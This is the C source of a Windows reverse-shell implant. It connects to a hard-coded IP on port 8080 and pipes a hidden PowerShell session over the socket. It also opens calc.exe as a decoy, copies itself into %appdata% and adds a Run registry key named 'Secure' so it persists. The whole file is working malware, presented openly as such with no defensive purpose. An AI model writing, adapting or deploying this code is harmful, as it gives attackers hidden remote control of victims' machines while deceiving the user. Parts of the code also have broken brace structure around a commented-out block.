creverse.c

// AUTHOR : #Captain_Nemo
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdlib.h>

#pragma comment(lib, "Ws2_32.lib")
#define DEF_BUFF 2048

void rsh(char* server, int Port) 
{
    while(1) 
  {
     

     WSADATA wsaData;
     SOCKET Winsock;
     struct sockaddr_in address;
     char Rec_dat[DEF_BUFF];
     STARTUPINFO process_startup;
     PROCESS_INFORMATION p_info;
  
	WSAStartup(MAKEWORD(2,2), &wsaData);
	Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

    
	address.sin_family = AF_INET;
	address.sin_port = htons(Port);
	address.sin_addr.s_addr =inet_addr(server);
    
	WSAConnect(Winsock,(SOCKADDR*)&address, sizeof(address),NULL,NULL,NULL,NULL);
	if (WSAGetLastError() == 0) 
        {

		memset(&process_startup, 0, sizeof(process_startup));
                char proc[] = "powershell.exe -WindowStyle Hidden";
		process_startup.cb=sizeof(process_startup);
		process_startup.dwFlags=STARTF_USESTDHANDLES;
		process_startup.hStdInput = process_startup.hStdOutput = process_startup.hStdError = (HANDLE)Winsock;
		CreateProcess(NULL, proc, NULL, NULL, TRUE, 0, NULL, NULL, &process_startup, &p_info);
               // WaitForSingleObject(p_info.hProcess, INFINITE);
               // CloseHandle(p_info.hProcess);
               // CloseHandle(p_info.hThread);
                //memset(Rec_dat, 0, sizeof(Rec_dat));
                //int Rec_code = recv(Winsock, Rec_dat, DEF_BUFF, 0);
               // if (Rec_code <= 0) 
               // {
                 //   closesocket(Winsock);
                  //  WSACleanup();
                  //  continue;
               // } // end if 
               // if (strcmp(Rec_dat, "exit\n") == 0) 
                //{
                    exit(0);
                } // end if
		exit(0);
      } // end while 
   } // end function rsh 
int main() 
 {
        char h[] = "192.168.225.197";
        int p = 8080;
        system("start C:\\WINDOWS\\System32\\calc.exe"); // fire decoy
        system("cmd /c copy .\\reverse.exe %appdata%");  // copy malware to appdata
        system("cmd /c REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V \"Secure\" /t REG_SZ /F /D \"%appdata%\\reverse.exe"); //add registry persistence 
        rsh(h, p);   // call rsh function
        return 0;
 } // end main